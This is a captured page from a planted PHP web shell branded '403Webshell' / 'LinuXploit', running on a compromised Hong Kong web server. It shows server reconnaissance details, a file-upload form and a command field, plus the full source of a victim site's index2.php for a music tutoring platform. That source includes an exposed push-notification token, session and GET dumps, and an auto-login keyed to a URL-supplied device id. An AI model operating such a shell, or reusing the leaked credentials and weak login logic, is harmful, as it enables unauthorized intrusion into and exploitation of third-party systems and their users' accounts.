403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/index2.php
<?php include('_init.php');
	//unset($_SESSION["index_popup"]);
	//$_SESSION["index_popup"] = 1;
	echo aes_crypt2('AAAA3KamHxU:APA91bHz0qc77CALD1ubOZ6DDihxoRD5SdzRRKUaqFvjR8WXt6wNicWqLBVoXWZZ_eB5VCr0SXtmBoR6bR1v4ttajmxvMG_fC7KUxZNDR1jkX3oDPoUOVGJMxotFltJUcsjusQW0zI-u', 1);
	EXIT;

	if(!empty($_GET["key"])){
		$_SESSION["key"] = $_GET["key"];
	}

	if(!empty($_GET["app_device_id"])){
		$_SESSION["app_device_id"]          = $_GET["app_device_id"];
	}

	if(!empty($_GET["app_device_id"])){
		$_SESSION["app_notification_token"] = $_GET["app_notification_token"];
	}

	$url =  "//{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";

	$escaped_url = htmlspecialchars( $url, ENT_QUOTES, 'UTF-8' );
	echo '<a href="' . $escaped_url . '">' . $escaped_url . '</a>';
	var_dump($_GET);
	var_dump($_SESSION);
	exit;

	//app auto login
	if (!empty($_SESSION["app_device_id"]) && !empty($_SESSION["app_notification_token"]) && empty($_SESSION['cmsloginid'])) {

		$sql        = "select * from sys_cms_login where app_device_id = ? and cmsrole = ? and deleted = ?";
		$parameters = array($_SESSION["app_device_id"], 'user', 0);
		$row_cms    = bind_pdo($sql, $parameters, "selectone");
		/*---------------完---------------*/
		/*---------------更新最後登入日期及時間---------------*/
		if (!empty($row_cms)) {
			$sql        = "update sys_cms_login set last_login_date = ? where cmsloginid = ?";
			$parameters = array(date("Y-m:d H:i:s"), $row_cms['cmsloginid']);
			bind_pdo($sql, $parameters);

			//update user app device id and notification token
			$sql = "update sys_cms_login set app_device_id = ?, app_notification_token = ? where cmsloginid = ?";
			$parameters = array($_SESSION["app_device_id"], $_SESSION["app_notification_token"], $row_cms["cmsloginid"]);
			bind_pdo($sql, $parameters);
		}
		/*---------------完---------------*/
		if ($row_cms['is_tutor'] == 1) { //如果是導師
			//查看是否已經電郵驗證
			$sql        = "select id,status,nickname from tutor_main 
							   where `cmsloginid` = ? and `isemailverified` = 1 LIMIT 1";
			$parameters = array($row_cms['cmsloginid']);
			$row        = bind_pdo($sql, $parameters, "selectone");
			//
			if ($row['id']) {
				if ($row['status'] == 3 || $row['status'] == 4) { //查看是否已經手機或管理員驗證
					//儲存SESSION
					$_SESSION['loginname']       = aes_crypt($row_cms['cmsloginname'], 2);
					$_SESSION['cmsloginname']    = aes_crypt($row_cms['cmsloginname'], 2);
					$_SESSION['cmsusername']     = aes_crypt($row_cms['cmsloginname'], 2);
					$_SESSION['cmsloginid']      = $row_cms['cmsloginid'];
					$_SESSION['loginid']         = $row_cms['cmsloginid'];
					$_SESSION['cmsrole']         = $row_cms['cmsrole'];
					$_SESSION['role']            = $row_cms['cmsrole'];
					$_SESSION['is_tutor']        = $row_cms['is_tutor'];
					$_SESSION['is_student']      = $row_cms['is_student'];
					$_SESSION['login_user_name'] = $row['nickname'];
					$_SESSION['member_login']    = $row['id'];
					if ($row['status'] == 4) { //管理員驗證
						//$path = 'webadmin/index.php';
						$path = 'job.php';
					} else if ($row['status'] == 3) { //手機驗證
						$path = 'job.php';
					}
				} else {
					$_SESSION['member_login']    = $row['id'];
					$_SESSION['login_user_name'] = $row['nickname'];
					$path                        = 'signupTutor.php';
				}
			} else {
				$_SESSION['login'] = 'fail';
				$path              = 'login.php';
			}
		} else if ($row_cms['is_student'] == 1) {
			//查看是否已經電郵驗證
			$sql        = "select id,status,contactname from student_main 
							   where `cmsloginid` = ? and `isemailverified` = 1 LIMIT 1";
			$parameters = array($row_cms['cmsloginid']);
			$row        = bind_pdo($sql, $parameters, "selectone");
			//
			if ($row['id']) {
				if ($row['status'] == 3 || $row['status'] == 4) { //查看是否已經手機或管理員驗證
					$_SESSION['loginname']       = aes_crypt($row_cms['cmsloginname'], 2);
					$_SESSION['cmsloginname']    = aes_crypt($row_cms['cmsloginname'], 2);
					$_SESSION['cmsusername']     = aes_crypt($row_cms['cmsloginname'], 2);
					$_SESSION['cmsloginid']      = $row_cms['cmsloginid'];
					$_SESSION['loginid']         = $row_cms['cmsloginid'];
					$_SESSION['cmsrole']         = $row_cms['cmsrole'];
					$_SESSION['role']            = $row_cms['cmsrole'];
					$_SESSION['is_tutor']        = $row_cms['is_tutor'];
					$_SESSION['is_student']      = $row_cms['is_student'];
					$_SESSION['login_user_name'] = $row['contactname'];
					$_SESSION['student_login']   = $row['id'];
					//$path                        = 'webadmin/index.php';
					$path = 'index.php';
				} else {
					$_SESSION['login_user_name'] = $row['contactname'];
					$_SESSION['student_login']   = $row['id'];
					$path                        = 'signupStudent.php';
				}
			} else {
				$_SESSION['login'] = 'fail';
				$path              = 'login.php';
			}
		} else {
			$_SESSION['login'] = 'fail';
			$path              = 'login.php';
		}

		header("Location: " . $path);
		exit;
	}
	//end app auto login

	/*if ($_SESSION["is_tutor"] == 1) {
		header("Location: job.php");
		exit;
	}*/

	$sql              = "select * from tutor_main
					INNER JOIN tutor_charge ON tutor_main.id = tutor_charge.tutormain_id
					INNER JOIN tutor_expectcharge ON tutor_charge.id = tutor_expectcharge.charge_id
					where tutor_charge.deleted = ? and tutor_main.status = ? and tutor_main.deleted = ? and tutor_main.approved = ? and tutor_main.recommend = ?
					group by tutor_main.id
					order by rand()
					limit 8";
	$parameters       = array(0, 4, 0, 1, 1);
	$recommend_tutors = bind_pdo($sql, $parameters, "selectall");

	$sql        = "select *,student_postjob.id as student_postjob_id, master_type_code.name_" . $langcode . " as instrument_name from student_postjob 
			INNER JOIN student_main ON student_main.id = student_postjob.studentmain_id
			INNER JOIN master_type_code ON master_type_code.id = student_postjob.mas_instrument
			where student_postjob.status = ? and student_postjob.deleted = ? and student_postjob.approved = ? and student_main.status = ? and student_main.deleted = ? and student_main.approved = ? 
			order by student_postjob.createdate DESC limit 8";
	$parameters = array(1, 0, 1, 4, 0, 1);
	$jobs       = bind_pdo($sql, $parameters, "selectall");
?>
	<!DOCTYPE html>
	<html lang="en">
	<head>
		<? include('_head.php'); ?>
		<link href="css/style_k.css?v=<?= time(); ?>" type="text/css" rel="stylesheet">

		<style>
			.fancybox-skin {
				background-color: transparent !important;
			}

			@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) {
				.read_more_center {
					margin-left: -55px;
				}
			}

		</style>
	</head>

	<body>

	<? include('_header.php') ?>
	<? include('_dialog.php') ?>
	<header style="height: auto; margin-top: 100px;background: none;">
		<div class="container tc" style="">
			<!--<div class="intro-text">
				<div class="intro-heading"><? /*= _lang("YOUR MUSICAL JOURNEY OFFICIALLY SET SAIL") */ ?></div>
				<div class="BeginsBTN">
					<?php /*if ($_SESSION["cmsloginid"] && $_SESSION["is_student"]) { */ ?>
						<a href="category.php" class="index_main_btn index_main_btn_1"><? /*= _lang("Find Musical Tutor") */ ?></a>
						<br>
						<a href="#" class="index_main_btn index_main_btn_3"><? /*= _lang("Tutor Matching Counseling Service") */ ?></a>
					<?php /*} else if ($_SESSION["cmsloginid"] && $_SESSION["is_tutor"]) { */ ?>
						<a href="category.php" class="index_main_btn index_main_btn_1"><? /*= _lang("Job") */ ?></a>
					<?php /*} else { */ ?>
						<a href="login.php" class="index_main_btn index_main_btn_1"><? /*= _lang('Student Login') */ ?></a>
						<br>
						<a href="login.php" class="index_main_btn index_main_btn_3"><? /*= _lang('Tutor Login') */ ?></a>
					<?php /*} */ ?>
				</div>
			</div>-->

			<img src="<?= $site_info["url"] ?>img/index_1.jpg" style="width: 200px;">

			<div class="BeginsBTN" style="margin-top: 20px; position: relative; z-index: 9;">
				<?php if ($_SESSION["cmsloginid"] && $_SESSION["is_student"]) { ?>
					<a href="category.php" class="index_main_btn index_main_btn_1"><?= _lang("Tutor Searching") ?></a>
					<br>
					<a href="student_postjob_form.php" class="index_main_btn index_main_btn_2"><?= _lang("Post Jobs") ?></a>
					<br>
					<a href="musical_show.php" class="index_main_btn index_main_btn_3"><?= _lang("Musical Show") ?></a>
					<br>
				<?php } else if ($_SESSION["cmsloginid"] && $_SESSION["is_tutor"]) { ?>
					<a href="tutor_profile.php" class="index_main_btn index_main_btn_1"><?= _lang("My Resume") ?></a>
					<br>
					<a href="job.php" class="index_main_btn index_main_btn_2"><?= _lang("Matching Student") ?></a>
					<br>
					<a href="category.php" class="index_main_btn index_main_btn_3"><?= _lang("Tutor Searching") ?></a>
				<?php } else { ?>
					<a href="register.php?type=student" class="index_main_btn index_main_btn_1"><?= _lang('Student Registration / Login') ?></a>
					<br>
					<a href="register.php?type=tutor" class="index_main_btn index_main_btn_3"><?= _lang('Tutor Registration / Login') ?></a>
				<?php } ?>
			</div>
		</div>
	</header>

	<?php if (!empty($_SESSION["cmsloginid"])) { ?>

		<hr style="border-top: 5px solid #eee;">

		<div id="LearnSection" style="padding: 0;">
			<div class="container tc">
				<h3 class="bold"><?= _lang("Fast Find Tutor") ?></h3>
				<br>

				<div class="row" style="margin-bottom: 50px;">
					<?php
						$index_musical_instrument = array(
							160 => array("img" => "img/musical_instrument_1.jpg"),
							11  => array("img" => "img/musical_instrument_2.jpg"),
							141 => array("img" => "img/musical_instrument_3.jpg"),
							146 => array("img" => "img/musical_instrument_4.jpg"),
							150 => array("img" => "img/musical_instrument_5.jpg"),
							168 => array("img" => "img/musical_instrument_6.jpg"),
							130 => array("img" => "img/musical_instrument_7.jpg"),
							152 => array("img" => "img/musical_instrument_8.jpg"),

						);

						foreach ($index_musical_instrument as $key => $row) {
							$master_type_code = get_master_type_code_by_id($key);
							?>
							<div class="col-xs-3 tc" style="padding: 0; margin-bottom: 10px;">
								<a href="category.php?id=<?= $key ?>" style="color: inherit;">
									<img class="" src="<?= $site_info["url"] . $row["img"] ?>" alt="" style="width: 60%;"><br>
									<p><?= _lang($master_type_code["name_" . $langcode]) ?></p>
								</a>
							</div>
						<?php } ?>
				</div>
				<br>
			</div>
		</div>
	<?php } ?>

	<?php if (empty($_SESSION["cmsloginid"])) { ?>
		<div class="container tc" style="position: fixed; bottom: 0;">
			<img src="<?= $site_info["url"] ?>img/index_2.jpg" style="width: 100%;">
		</div>
	<?php } ?>

	<div id="popup" style="display: none;">
		<img src="img/popup/Uni_x_iMC_7Mar2017.jpg" alt="" style="width: 100%;"/>
		<!--<div id="popup_slider">
			<ul class="slides">
				<li><img src="img/popup/IMc_instruction1.jpg" style="width: 100%;"></li>
				<li><img src="img/popup/IMc_instruction2.jpg" style="width: 100%;"></li>
				<li><img src="img/popup/IMc_instruction3.jpg" style="width: 100%;"></li>
				<li><img src="img/popup/IMc_instruction4.jpg" style="width: 100%;"></li>
			</ul>
		</div>-->
	</div>

	<div id="status" style="display: none;">
	</div>
	<script src="js/jquery.min.js"></script>
	<? include('_footer.php') ?>

	<script type="text/javascript">
		function category_search() {
			var search = $("#category_search").val();
			if (!search) {
				alert("<?=_lang("Please enter searching words.")?>");
			} else {
				location.href = 'category.php?search=' + search;
			}
		}

		function resizeImage() {
			//console.log($(window).width());
			if ($(window).width() <= 750) {
				$(".tutor_img").hide();
				$(".tutor_img2").show();
			} else {
				$(".tutor_img").show();
				$(".tutor_img2").hide();
			}

			//$(".tutor_img2").show();
		}

		$(function () {
			//center image
			resizeImage();

			$(window).resize(function () {
				resizeImage();
			});

		})
	</script>

	<?php $_SESSION["index_popup"] = 1;
		if (!isset($_SESSION["index_popup"])) { ?>
			<link rel="stylesheet" href="js/fancybox/jquery.fancybox.css?v=2.1.5" type="text/css" media="screen"/>
			<script type="text/javascript" src="js/fancybox/jquery.fancybox.pack.js?v=2.1.5"></script>
			<link rel="stylesheet" href="js/flexslider2/flexslider.css" type="text/css" media="screen"/>
			<script type="text/javascript" src="js/flexslider2/jquery.flexslider-min.js"></script>

			<script type="text/javascript">
				$(function () {
					$.fancybox({
						//settings
						'type': 'inline',
						'fitToView': false,
						'maxWidth': 800,
						'width': '100%',
						'height': '100%',
						'autoSize': false,
						'closeClick': false,
						'openEffect': 'none',
						'closeEffect': 'none',
						'href': '#popup',

					});

					$('#popup_slider').flexslider({
						animation: "slide"
					});

				});
			</script>
		<?php } ?>

	</body>
	</html>

<?php
	$_SESSION["index_popup"] = 1;

Youez - 2016 - github.com/yon3zu
LinuXploit